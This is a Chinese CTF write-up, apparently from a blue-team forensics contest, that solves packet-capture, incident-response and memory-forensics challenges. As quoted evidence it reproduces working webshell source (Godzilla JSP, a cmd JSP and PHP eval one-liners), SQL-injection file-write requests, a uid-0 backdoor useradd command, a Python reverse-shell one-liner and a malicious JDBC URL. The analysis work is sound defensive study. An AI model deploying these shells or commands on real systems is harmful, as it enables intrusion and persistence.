好久没打过比赛了,对于这种偏蓝方的比赛我还是很喜欢
本文首发于:先知社区:https://xz.aliyun.com/t/13177
HW
hard web_1
题目内容:服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了80 81 82 83端口,则答案为80,81,82,83)
打开流量包就能看到,192.168.162.188
对192.168.162.180
进行端口扫描
所以由此可以确定192.168.162.188
是黑客IP。根据题目确定,如果端口开放,那么黑客发送带有SYN的TCP段报文,服务器会返回(SYN,ACK)的TCP段报文。
所以我们只需要寻找响应IP是服务器IP并且发送了(SYN,ACK)报文。
过滤器写法如下:
ip.src == 192.168.162.180 and tcp.connection.synack
ip.src == 192.168.162.180 and tcp.flags=0x012
可以看到前三个报文是扫描到开放端口返回的(SYN,ACK)报文,其他都是与80端口开放的服务进行通信
那么答案就是80,888,8888
hard web_2
问题内容:服务器中根目录下的flag值是多少?
因为看到了80端口开放,我们看看web服务发生了什么
可以看到黑客对web服务进行路径扫描,服务器返回了大量的404状态,因此我们通过过滤器语法http.request or http.response.code == 200
查看黑客对服务器的请求以及(如果存在)web页面的响应
可以看到服务器存在一个test.jsp
的webshell,黑客执行了一些命令,在最后查看了shell.jsp
的内容
我们查看一下shell.jsp的内容,稍微代码美化一下可以得到如下
<%! String xc = "748007e861908c03";
class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
} %>
<%
try {
byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))];
java.io.InputStream inputStream = request.getInputStream();
int _num = 0;
while ((_num += inputStream.read(data, _num, data.length)) < data.length) ;
data = x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", data);
Object f = ((Class) session.getAttribute("payload")).newInstance();
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
f.equals(arrOut);
f.equals(pageContext);
f.toString();
response.getOutputStream().write(x(arrOut.toByteArray(), true));
}
} catch (Exception e) {
}
%>
可以看到这是未加密的哥斯拉JSP木马,key是748007e861908c03,那么可以通过解密脚本去解密流量,具体分析请看这里,这里放一下我自动提取哥斯拉木马的交互流量分析脚本和解密脚本。
# extract_pcap.py
import pyshark
import pickle
pcap = pyshark.FileCapture(
"../hard_web.pcap", display_filter="http.request.uri==\"/shell.jsp\" or http.response.code == 200", tshark_path=R"D:\whitehat\tools\Wireshark\tshark.exe")
HTTPchat = {"req": [], "res": []} # 创建请求和响应的字典
def get_file_data(pkt): # 获取file_data
if int(pkt.http.content_length) == 0: # 检测是否有file_data
return None
if int(pkt.http.content_length) != len(pkt.http.file_data): # 检测file_data内容是否完整
reassmbledData = pkt.DATA.tcp_reassembled_data.binary_value if (
"DATA" in pkt) else pkt.TCP.payload.binary_value
Data = reassmbledData[reassmbledData.find("\r\n\r\n".encode())+4:]
if int(pkt.http.content_length) == len(Data): # 这段可以不用加,一般情况下都是完整的
return Data
else:
return pkt.http.file_data.binary_value
for pkt in pcap:
if int(pkt.number) < 24256: # 跳到关键请求
continue
if pkt.http.chat.split(" ")[0] in ["GET", "POST"]: # 检测是否是请求
HTTPchat["req"].append(
{pkt.number: get_file_data(pkt)}) # 添加请求数据
if pkt.http.chat.split(" ")[0] in ["HTTP/1.1"]: # 检测是否是响应
HTTPchat["res"].append({pkt.http.request_in: get_file_data(pkt)})
pickle.dump(HTTPchat, open("HTTPchat.pkl", "wb")) # 保存文件
# decrypt.py
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import pickle
import gzip
def decrypt(data): # 解密
xc = "748007e861908c03"
xc = xc.encode("utf-8")
cipher = AES.new(xc, AES.MODE_ECB)
cipherResult = cipher.decrypt(data)
cipherResult = unpad(cipherResult, AES.block_size)
try:
result = gzip.decompress(cipherResult).decode("utf-8")
except Exception as e:
print(e)
result = cipherResult.decode(errors="ignore")
return result
HTTPchat = pickle.load(open("HTTPchat.pkl", "rb")) # 读取文件
for i in range(len(HTTPchat["req"])):
req = list(HTTPchat["req"][i].values())[0]
res = list(HTTPchat["res"][i].values())[0]
if req == None or res == None:
continue # 第一次进行POST没有经过gzip,详细看https://xz.aliyun.com/t/10556
print(decrypt(req), end="\n***************\n")
print(decrypt(res), end="\n***************\n")
通过脚本解密后就会发现执行了flag的命令
那么答案就是flag{9236b29d-5488-41e6-a04b-53b0d8276542}
hard web_3
问题内容:该webshell的连接密码是多少?
通过之前了解到key是748007e861908c03,但是这个key是通过md5(密钥).substring(0,16)
得到的,通过查看流量发现这个连接密码的格式如key = 1****y
理论上可以通过爆破来做,写个脚本看看
# brute.py
from hashlib import md5
import string
import itertools
import joblib as J
# 计算MD5
def calc_md5(s):
hashMD5 = md5(s.encode()).hexdigest()
if hashMD5[:16] == xc:
print("Found key: ", s)
# 字符集
charset = string.ascii_lowercase + string.digits
# key = 1****y
xc = "748007e861908c03"
# 生成密码
passwords = ["1"+"".join(x)+"y" for x in itertools.product(charset, repeat=4)]
# 多线程跑
with J.parallel_backend("threading", n_jobs=-1):
J.Parallel()(J.delayed(calc_md5)(x) for x in passwords)
最后爆破得到密码是14mk3y
SS
server save_1
题目内容:黑客是使用什么漏洞来拿下root权限的。格式为:CVE-2020-114514
题目给出了一个Linux系统所有文件的压缩包,和一个流量包。我们看流量包使用gobuster进行目录爆破,最后发现访问hello\greeting
返回200,并且在Linux系统文件的根目录发现helloworld文件夹,进去发现pom.xml,直接google搜索关键词发现github仓库,链接在这里https://github.com/reznok/Spring4Shell-POC。
那么答案就显而易见的在github仓库里有介绍,那么答案就是:CVE-2022-22965
server save_2
题目内容:黑客反弹shell的ip和端口是什么,格式为:10.0.0.1:4444
继续通过流量包,我们看到最后一条记录看到执行了bash bbbb.sh
:
在helloworld目录下发现bbbb.sh,内容如下,是个反弹shell的命令:
那么答案就是192.168.43.128:2333。
server save_3
题目内容:黑客的病毒名称是什么? 格式为:filename
我们先从几个目录开始寻找,有如下几个目录需要注意:
- /usr/local/tomcat # 运行服务的目录
- /root # root用户目录
- /home # 普通用户目录
运行的服务目录知识看到了shell.jsp的内容,没有找到更有用的信息。
<%
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while ((a = in.read(b)) != -1) {
out.println(new String(b));
}
%>
root用户下也没有什么有用的信息,但是可以看到/home下存在一个guest用户,进入看到有个main文件。
我们使用file
命令看看是什么东西,看到是一个elf文件。
把main文件放到微步云沙箱里面再看看是不是病毒,发现是病毒。
那么答案就是main。
server save_4
题目内容:黑客的病毒运行后创建了什么用户?请回答用户名与密码:username:password
我们看到微步云沙箱对于病毒main的分析,看到执行了useradd的命令,将ll用户添加到root用户组中,并且使用的-p值是加盐"salt"的123456:$1$salt$638tR8bROOvPnPklDQ9Vf
useradd -p openssl passwd -1 -salt 'salt' 123456 ll -o -u 0 -g root -G root
应该转变为
useradd -p `openssl passwd -1 -salt 'salt' 123456` ll -o -u 0 -g root -G root
并且能在/etc/shadow
文件中看到ll的用户信息:
那么答案就是ll:123456。
server save_5
服务器在被入侵时外网ip是多少? 格式为:10.10.0.1
在微步云沙箱也能看到这个病毒访问了ip-api.com/json/
。
同时我们在guest目录下看到.log.txt
可以看到查询IP172.105.202.239
的信息,并且与一些入侵行为日志在一个文件,那么这个ip就是黑客的ip。
那么答案就是172.105.202.239。
server save_6
病毒运行后释放了什么文件?格式:文件1,文件2
我们可以看到.idea
文件夹的时间在病毒运行后,并且在微云沙箱也存在相关文件释放的记录:
那么存在在.idea
目录下的两个文件就是释放的文件。
答案:lolMiner,mine_doge.sh。
server save_7
矿池地址是什么? 格式:domain:1234
查看mine_doge.sh
文件,这是矿池的相关配置的文件。
那么答案就是doge.millpools.cc:5567。
server save_8
黑客的钱包地址是多少?格式:xx:xxxxxxxx
同7,黑客钱包答案是:DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9。
WS
Wireshark1_1
题目内容:被入侵主机的IP是?
打开可以看到这是个telnet服务的流量,直接输入telnet查看流量:
可以看到是192.168.246.1
对192.168.246.28
进行请求,那么telnet开在
192.168.246.28
上面,那么答案就是192.168.246.28。
Wireshark1_2
题目内容:被入侵主机的口令是?
直接追踪TCP流可以看到密码是:youcannevergetthis
:
那么答案就是youcannevergetthis。
Wireshark1_3
题目内容:用户目录下第二个文件夹的名称是?
追踪流可以看到黑客执行了ls
命令,返回了文件夹内的文件,可以看到第二个文件是Downloads
,其中例如[01;34m
此类是颜色代码。
那么答案就是Downloads。
Wireshark1_4
题目内容:/etc/passwd中倒数第二个用户的用户名是?
还是追踪流,最后黑客执行了cat /etc/passwd
,返回的倒数第二个用户名就是mysql
,那么答案就是mysql。
IR
IncidentResponse_1
题目内容:你是公司的一名安全运营工程师,今日接到外部监管部门通报,你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合,你们定位到了请求挖矿域名的内网IP是10.221.36.21。查询CMDB后得知该IP运行了公司的工时系统。(虚拟机账号密码为:root/IncidentResponsePasswd)挖矿程序所在路径是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案)
题目给了个ova文件,我们用虚拟机打开,登录进去查看是个ubuntu系统,使用netstat -pantu
查看对外开放的服务,发现有ssh,因为这个虚拟机本身很难用,所以进行一下网络配置我们登录ssh。然后我们还能看到mysql开放在127.0.0.1:3306
,nginx服务开放在0.0.0.0:80
上,127.0.0.1:8080
上运行一个java程序,并且这个java程序还与mysql有交互。
最后在0.0.0.0:44448 0.0.0.0:47598
开放了redis,这个服务比较奇怪。有以下几个原因:
- redis默认端口是6379,这个端口不是默认端口。
- redis默认不开放外网访问,这个服务开放了外网访问。
- redis本来是TCP服务,这个服务是UDP服务。
- 同时开放两个端口,并且开放端口会改变。
并且在root目录下存在.bash_history
,我们可以查看执行过什么命令。
具体内容不列举了,大概如下:
- 能发现在
/home/app
下有个renren-admin.jar
,并且启动在当前目录还有一个nohup.log日志。 - 对于nginx进行了配置,查看nginx的配置发现访问路径
/renren-admin
转发至http://127.0.0.1:8080/renren-admin
,那么就可以说通启动的java程序和nginx的关系。
现在回到redis上,我们在/etc/redis
上查看一下这个redis是怎么配置的,我们打开redis.conf
发现这个不是正常的redis配置文件,并且在里面发现敏感词pools
,WALLET
等字样。
那么把这个redis-server
提出来,放到微步云沙箱看看是不是挖矿软件。可以看到这个是xmrig
挖矿软件。
那么这道题答案就是/etc/redis/redis-server
=>6f72038a870f05cbf923633066e48881。
IncidentResponse_2
题目内容:挖矿程序连接的矿池域名是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案)
由第一问所见,矿池域名是donate.v2.xmrig.com
,那么答案就是3fca20bb92d0ed67714e68704a0a4503。
IncidentResponse_3
题目内容:攻击者入侵服务器的利用的方法是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案)
题目提示:答案md5值前两位为3e
还是第一问所说,其实对外开放的服务只有nginx,nginx上挂了一个java程序,并且这个java程序还是输出日志nohup.log
,查看日志是否有关键信息。日志包含一些renren-admin
的启动信息,以及报错日志。可以看到存在大量的shiro序列化的报错信息。那么猜测黑客就是利用shiro的反序列化漏洞进行攻击利用的,那么答案就是shirodeserialization
=>3ee726cb32f87a15d22fe55fa04c4dcd。
IncidentResponse_4
题目内容:攻击者的IP是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案)
除了第三问的nohup.log
,还可以在之前的nginx配置文件中找到access_log
和error_log
的相关配置
那么查看这两个日志发现,这个81.70.166.3
进行了大量的SQL注入测试和目录扫描。
那么攻击者的IP就是81.70.166.3
=>c76b4b1a5e8c9e7751af4684c6a8b2c9。
IncidentResponse_5
题目内容:攻击者发起攻击时使用的User-Agent是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案)
同第4问,查看access.log
能发现攻击者使用的UA,攻击者使用两种UA:
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36`,
- Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
提交尝试两次即可,分别是44748ef7eb6e23c3aea256cf497157e6,6ba8458f11f4044cce7a621c085bb3c6
IncidentResponse_6
题目内容:攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以a开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案)
对于权限维持,常见的手段如连接所示https://bypass007.github.io/Emergency-Response-Notes/privilege/第4篇:Linux权限维持–后门篇.html。通过对比可以看到在/root/.ssh
发现有id_rsa.pub
和authorized_keys
,并且authorized_keys
创建时间比id_rsa.pub
晚,那么可以猜测攻击者通过上传公钥并且将其更名为authorized_keys从而实现免密登录进行权限维持。
那么答案就是/root/.ssh/authorized_keys
=>a1fa1b5aeb1f97340032971c342c4258。
IncidentResponse_7
题目内容:攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以b开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n ‘strings’|md5sum|cut -d ’ ’ -f1获取md5值作为答案)
权限维持可以查看crontab有没有定时任务,没有发现定时任务。
又回到之前的redis服务,服务开机自动启动并且还是不间断的重启,那么可能是服务设置问题,寻找服务文件。发现服务文件在/lib/systemd/system/redis.service
。
查看内容可知,这个挖矿程序的不断重启就是由这个服务文件导致,这也是一种权限维持手段。
并且答案提示是b开头,那么答案就是/lib/systemd/system/redis.service
=>b2c5af8ce08753894540331e5a947d35。
SSW
SmallSword_1
题目内容:连接蚁剑的正确密码是______________?(答案示例:123asd)
既然题目说明蚁剑,那么我们直接过滤http流,可以看到是一个sqlilab
的网站,我们查看注入的语句,可以看到进行了写文件操作,将@@basedir
等结果写入到2.txt。
GET /sqlii/Less-7/index.php?id=-1')) union select 1,@@basedir,@@datadir into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqlii\\Less-7\\2.txt" -- HTTP/1.1
并且请求了2.txt可以看到响应内容如下。
继续往下看,关注2988和3075这两个数据包,内容分别是:
# 2988
GET /sqlii/Less-7/index.php?id=-1')) union select 1,2,"<?php @eval($_POST["6ea280898e404bfabd0ebb702327b18f"]);?>" into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqlii\\Less-7\\1.php" HTTP/1.1
# 3075
GET /sqlii/Less-7/index.php?id=-1')) union select 1,2,"<?php @eval($_POST["6ea280898e404bfabd0ebb702327b18f"]);?>" into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqlii\\Less-7\\info1.php" HTTP/1.1
典型的一句话木马,将其写入至1.php和info1.php。但是这个写的有点问题,难怪后面的对于info1.php请求会返回404,存在这两点问题
- 首先没有加注释符,前面对于2.txt的写入时加了注释符
--
,应该加注释符 - 第二点就是没有对一句话木马里面的双引号进行转义,导致写入失败,应该将
"
转义为\"
,或者是将双引号改成单引号。
并且后面对于info1.php
的交互,返回的信息格式不是1 2 {执行结果}
,但是密码没有改变。那么连接密码和本题的答案就是6ea280898e404bfabd0ebb702327b18f。
SmallSword_3
题目内容:攻击者下载到的flag是______________?(答案示例:flag3{uuid})
我们按照流量顺序来作题,继续往下看,我们看到这条流量读取了一个exe文件,如下图所示:
读取的文件名是huorong.exe
,下载下来通过云沙箱发现,此exe释放了一个test.jpg
。
打开发现存在PNG头,是个PNG文件,并且010editor运行模板发现存在CRC校验错误。
于是进行CRC高度爆破,更改高度为769
,查看图片获得flag。
于是答案就是flag3{8f0dffac-5801-44a9-bd49-e66192ce4f57}。
SmallSword_2
攻击者留存的值是______________?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)
继续查看http流,在倒数第二个POST请求中,可以发现对hacker.txt
写入了一个值,通过base64解码写入的值,可以看到是一个uuid。
那么答案就是YWQ2MjY5YjctM2NlMi00YWU4LWI5N2YtZjI1OTUxNWU3YTkxIA==
=>ad6269b7-3ce2-4ae8-b97f-f259515e7a91
EW
ez_web_1
题目内容:服务器自带的后门文件名是什么?(含文件后缀)
首先做个简单的配置,在wireshark中多加一列,字段为http.response_for.uri
,如下图所示:
过滤所有的200状态的响应http.response.code == 200
。这样就能看到响应与相应的请求URI。
查看HTTP流,能够看到攻击者使用后门文件,写个了d00r.php
到服务器上。
因此题目答案是ViewMore.php
ez_web_2
题目内容:服务器内网IP是多少?
继续往下看,发现对d00r.php
多次请求,挨个查看发现有一个ifconfig命令执行。
那么题目答案就是192.168.101.132
ez_web_3
题目内容:服攻击者往服务器中写入的key是什么?
继续往下查看流量包,发现执行了一个cat /passwd
,返回结果是7e03864b0db7e6f9
。在最后写入一个文件k3y_f1le
,内容是一串base64字符串。
我们在本地执行一下这个命令。可以看到是一个ZIP文件。但是解压里面的key.txt文件需要密码,因此尝试密码7e03864b0db7e6f9。
key.txt内容是7d9ddff2-2d67-4eba-9e48-b91c26c42337
,因此这道题答案就是7d9ddff2-2d67-4eba-9e48-b91c26c42337。
BF
baby_forensics_1
题目内容:磁盘中的key是多少?
题目文件夹内包含两个文件,分别是raw内存镜像,一个是vmdk虚拟机磁盘文件。
raw文件可以通过R-Studio和volatility进行分析,vmdk文件通过磁盘挂载或者是R-Studio打开。通过R-Studio发现这个磁盘被BitLocker加密。
那么通过网鼎杯2020的题《密码柜》找到BitLocker密码的方法,使用Elcomsoft Forensic Disk Decryptor
,找到恢复密钥。
之后使用R-studio挂载镜像,使用找到的恢复密钥解开BitLocker。发现里面存在一个文件key.txt
。
打开文件发现字符串E96<6J:Da6g_b_f_gd75a3d4ch4heg4bab66ad5d
,然后最让人无语的地方来了,一直以为是flag,结果还是需要解码,使用随波逐流编码工具进行一键解码。找到是rot47编码:thekeyis2e80307085fd2b5c49c968c323ee25d5
那么这道题的答案就是2e80307085fd2b5c49c968c323ee25d5
baby_forensics_2
题目内容:电脑中正在运行的计算器的运行结果是多少?
使用volatility
将其calc.exe导出,
python2 .\vol.py -f C:\Users\xxx\Desktop\ljb\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 pslist
python2 .\vol.py -f C:\Users\xxx\Desktop\ljb\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 memdump -p 2844 --dump-dir=./
并将其导出的文件更改为.data,使用GIMP
打开,更改高度和偏移,发现计算器的图片。那么这道题的答案就是7598632541
baby_forensics_3
题目内容:该内存文件中存在的flag值是多少?
先看看有没有存在可疑的进程:
python2 .\vol.py -f C:\Users\xxx\Desktop\ljb\BF\baby_forensics_58a2fd5b17eac8108638f334c399de4a\baby_forensics.raw --profile=Win7SP1x64 pslist
存在便签程序,那么使用filescan
把便签的存在位置找一下,存放便签的后缀是.snt
,然后将其导出。
之后放到win7便签相应的路径上,可以看到字符串U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp94qfIcjQhDxPgr9G4u++pA==
。
这个字符串疑似base64,解密后发现开头是Salted__
,那么这是通过openssl的aes加密的,但是需要密钥才能解密。因此去R-Studio根据时间顺序寻找一下有没有密钥文件。
可以看到这个i4ak3y
这个文件名比较可疑,打开看看,里面写的应该就是密钥qwerasdf
那么解密一下,那么这道题的答案就是flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98}
TP
tcpdump_1
题目内容:攻击者通过暴力破解进入了某Wiki 文档,请给出登录的用户名与密码,以:拼接,比如admin:admin
打开流量包,过滤http看看有什么东西,发现172.31.0.1
对172.31.0.2
进行了目录扫描,并且服务器给的响应是JSON格式。
之后还对http://127.0.0.1:8080/login
进行了爆破,那看看最后一条登录成功的显示是{"errCode":200}
那么应用过滤器json contains "200"
找到登录成功的响应包
那么这道题的答案就是TMjpxFGQwD:123457
tcpdump_2
题目内容:攻击者发现软件存在越权漏洞,请给出攻击者越权使用的cookie的内容的md5值。(32位小写)
继续往后看,能够看到cookie键值对有个userid=2
,这就是当前的权限值。
寻找看哪个包更改了userid值,可以看到42530包更改了userid为1
那么这道题的答案就是383c74db4e32513daaa1eeb1726d7255
tcpdump_3
题目内容:攻击使用jdbc漏洞读取了应用配置文件,给出配置中的数据库账号密码,以:拼接,比如root:123456
通过题目知道利用jdbc漏洞读取文件,所以就不能光看http的流量,查看TCP的流量。可以看到服务器连接了恶意mysql服务端jdbc:mysql://116.62.63.234:3307/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360
,并且读取了/etc/passwd
文件。
同样继续往下看,能够看到恶意mysql服务端让服务器读取了application.yml
,在里面能找到数据库账号密码。
所以这道题的答案就是zyplayer:1234567
tcpdump_4
题目内容:攻击者又使用了CVE漏洞攻击应用,执行系统命令,请给出此CVE编号以及远程EXP的文件名,使用:拼接,比如CVE-2020-19817:exp.so
可以看下这个POST的数据是jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://116.62.63.234:9988/custom.dtd.xml
因为116.62.63.234
就是之前恶意mysql服务端的IP,这个custim.dtd.xml
的内容里面有个反弹shell的payload
那么就能确定这是新的攻击方式,经过搜索可知是CVE-2022-21724漏洞,恶意文件就是custom.dtd.xml
。这道题的答案是CVE-2022-21724:custom.dtd.xml
tcpdump_5
题目内容:给出攻击者获取系统权限后,下载的工具的名称,比如nmap
之前了解到反弹shell的IP是116.62.63.234
,那么过滤这个IP查看执行的命令,可以看到下载了fscan。那么这道题的答案就是fscan。
HD
hacked_1
题目内容:admIn用户的密码是什么?
过滤http流量,找到注册路由/register
对于用户名密码的加密方式。
利用cyberchef进行解密流量,之后还进行了登录,登录会返回用户名。
通过这种方式定位到admIn用户。然后解密密码即可。
这道题的答案就是flag{WelC0m5_TO_H3re}。
hacked_2
题目内容:app.config[‘SECRET_KEY’]值为多少?
继续往下看,可以看到包里的返回内容存在SECRET_KEY,这道题的答案是ssti_flask_hsfvaldb
hacked_3
题目内容:flask网站由哪个用户启动?
继续往下看,因为爆出来了SECRET_KEY,可以把cookie内容解密。
可以看到执行的ssti攻击请求命令whomai
,返回就是red
。那么这道题的答案就是red。
hacked_4
题目内容:攻击者写入的内存马的路由名叫什么?(答案里不需要加/)
继续往下看就能看到对于添加路由的代码执行,然后后续也能看到访问了/Index
,证明添加路由成功。
那么这道题的答案就是Index
半决赛
so_easy
so_easy_1
题目内容:登录的密码是多少,请输入md5加密的32位小写字符串
打开流量包看到是FTP流量,过滤ftp
找到登录正确的用户名密码
这道题的答案就是md5(“test”)->098f6bcd4621d373cade4e832627b4f6
so_easy_2
题目内容:被加密的字符串是多少?
继续往下看流量,发现上传了个压缩包11.zip
,这个先保存好,第三题会用到。后面上传了private_key.pem
和public_key.pem
,这两个文件内容分别是私钥和公钥。
又上传了个py.txt
文件,是个加密函数的python脚本。
最后上传了encrypted.txt
文件,这个就是加密后的文件。
那么根据提示就能做解密这个文件,用cyberchef解密一下。
所以这道题的答案是8dhn3edfna93rAPN
so_easy_3
题目内容:图片中隐藏的数字是多少?
之前说有个压缩包11.zip,解压出来是个bmp图片,打开发现图片不完整。
修复一下图片,这道题答案就是20230101
session
session-1
题目内容:通过注入得到的username是?
根据题目直接过滤http
,又是老生常谈的先扫目录。后面能看到对于/upload
的POST请求,对file参数进行SQL注入。
了解了一下大概的请求过程,确定注入的流量包序号范围,先确定这是一个盲注,注入成功是回显上传失败
,注入成功回显是上传成功
。
写个脚本跑一下,脚本如下:
# extract_pcap.py v1.1
import pyshark
pcap = pyshark.FileCapture(
"ss.pcapng", display_filter="http.request.uri==\"/upload\" or http.response.code == 200", tshark_path=R"D:\whitehat\tools\Wireshark\tshark.exe")
HTTPchat = {"req": {}, "res": {}} # 创建请求和响应的字典
def get_file_data(pkt): # 获取file_data
Data = None # 初始化Data
if int(pkt.http.content_length) == 0: # 检测是否有file_data
return None
if int(pkt.http.content_length) != len(pkt.http.file_data): # 检测file_data内容是否完整
reassmbledData = pkt.DATA.tcp_reassembled_data.binary_value if (
"DATA" in pkt) else pkt.TCP.payload.binary_value
Data = reassmbledData[reassmbledData.decode().find(
"\r\n\r\n")+4:]
if int(pkt.http.content_length) == len(Data): # 这段可以不用加,一般情况下都是完整的
# 在这里处理请求最后保存的数据
Data = Data.splitlines()[3]
else:
Data = pkt.http.file_data # 这里处理请求最后保存的数据
Data = Data.splitlines()[3]
return Data.decode()
def get_resp_data(pkt):
# 这里处理响应的内容
result = None # 初始化Data
if int(pkt.http.content_length) == 0: # 检测是否有file_data
return None
if int(pkt.http.content_length) != len(pkt.http.file_data): # 检测file_data内容是否完整
reassmbledData = pkt.DATA.tcp_reassembled_data.binary_value if (
"DATA" in pkt) else pkt.TCP.payload.binary_value
result = reassmbledData[reassmbledData.decode().find(
"\r\n\r\n")+4:]
if int(pkt.http.content_length) == len(result):
# 在这里处理响应最后保存的数据
if "上传成功".encode() in result:
result = 0
else:
result = 1
return result
for pkt in pcap:
if int(pkt.number) < 8231:
continue
if int(pkt.number) > 26584:
break
if pkt.http.chat.split(" ")[0] in ["GET", "POST"]: # 检测是否是请求
HTTPchat["req"][pkt.number] = get_file_data(pkt)
if pkt.http.chat.split(" ")[0] in ["HTTP/1.1"]: # 检测是否是响应
HTTPchat["res"][pkt.http.request_in] = get_resp_data(pkt)
# 寻找响应=1的请求
for key in HTTPchat["res"]:
if HTTPchat["res"][key] == 1:
print(key, HTTPchat["req"][key])
脚本把所有响应是上传失败的
的跑出来,得到的结果是用户名为adminadmin111
,密码是123456asdf
。
这道题的答案就是adminadmin111
session-2
题目内容:除了root用户,还有哪个用户含有root权限。
再往下看就是命令执行,能够看到读取了/etc/passwd
。
可以看到test
用户的第三列是0,那么这道题的答案就是test。
session-3
题目内容:通过debug读取的哪个文件没有找到(绝对路径)?
这个session-3和session-2,个人觉得这个应该是写反了,因为这个session-3的答案是在session-2之前。
可以看到命令执行首先读取了/etc/1
,返回结果报错没有这个文件,因此这道题的答案就是 /etc/1。
session-4
题目内容:通过什么命令反弹的shell,提交md5加密的32位小写字符串。
在流量的最后面,可以看到分别用了三种方式反弹shell,/bin/sh
,nc
和python pty
方式。
但是只有最后一种方式反弹成功,其余两种都报了语法错误。具体命令是
import os,pty,socket;s=socket.socket();s.connect(("172.16.127.1",3333));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")
所以这道题答案是7b75e76b64a25bd3d04ea82880c6d462
easy_shiro
easy_shiro-1
题目内容:shiro key是什么?
这道题给了日志文件,可以看到经典的shiro特征,rememberMe=deleteMe;
。shiro攻击就是反序列化,反序列化肯定包含java
这个关键字。
通篇找下来没有发现key,那就只剩爆破的方法了。结果还没有shiro的密码本,正在一筹莫展的时候发现fscan
有一个shiro-key.yml
。里面存放着一些常用的shiro key。
并且还有一个go写的加密脚本,依葫芦画瓢写了个python的解密脚本。这方面解密还参考了这篇文章Shiro反序列化分析带思路及组件检测笔记
from Crypto.Cipher import AES
import base64
with open("key.txt") as f:
key = f.readlines()
key = [x.strip() for x in key]
f.close()
encrypted = "Iz28dfd1...." # 寻找到响应状态200的请求,找到rememberMe的值
encryptedDecode = base64.b64decode(encrypted)
for k in key:
kDecode = base64.b64decode(k)
cipher = AES.new(kDecode, AES.MODE_CBC)
decrypted = cipher.decrypt(encryptedDecode)
if b"java" in decrypted:
print(k)
print(decrypted.decode("utf-8", errors="ignore"))
break
因此这道题答案就是4AvVhmFLUs0KTA3Kprsdag==
easy_shiro-2
题目内容:溯源攻击者的操作,其中有flag。
当时做这个题的时候没有思路,我先想的是先把所有的能base64解码的全部解码了,然后看看有什么特征注意的。发现倒数第二条数据POST一个user
键值,于是解码发现是java class
文件。
反编译发现是冰蝎马。那么把最后一条POST上去的数据解密看看。
可以看到flag,但是交到第二题答案不对。那么肯定第二题答案就在前面两条数据里。
前面两条唯一有用的就是rememberMe=...;
。把之前的解密的序列化数据保存好,命名为decrypted_1
。跟之前user
的class文件做一下对比,发现文件头不一样并且开头是AC ED
(后续赛题复盘学习了下shiro关于cookie生成的流程,改了下之前代码的iv,具体流程查看第一篇参考文献),并且发现这是java序列化后的开头标识符。具体的序列化格式可以参考这篇文章SerializationDumper辅助研究ysoserial URLDNS反序列化原理。
当时比赛是想的是你想执行代码,肯定是class形式的,那么直接找文件头看看有没有,就把user
的class文件头CA FE BA BE
拿过来在decrypted_1
文件里面找,发现还真有。
于是把CA FE BA BE
之后都复制出来,重命名为class文件放到IDEA里面反编译,一眼就能看到不一样的东西。
于是把这个数组运算用python写一下。返回的结果是cmd.exe /C "echo flag{6dfdc384d6025b2ab9b71ec15971aa11}"
var21 = [118, 120, 113, 59, 112, 109, 112, 53, 58, 86, 53, 55, 112, 118, 125, 122, 53, 115, 121, 116, 114, 110, 35, 113, 115, 113,
118, 38, 45, 33, 113, 35, 37, 39, 32, 119, 39, 116, 119, 44, 119, 34, 36, 112, 118, 36, 32, 44, 34, 36, 116, 116, 36, 36, 104, 55]
var22 = []
for i in var21:
var22.append(chr(i ^ 21))
print("".join(var22))
于是这道题的答案是flag{6dfdc384d6025b2ab9b71ec15971aa11}
easy_shiro-3
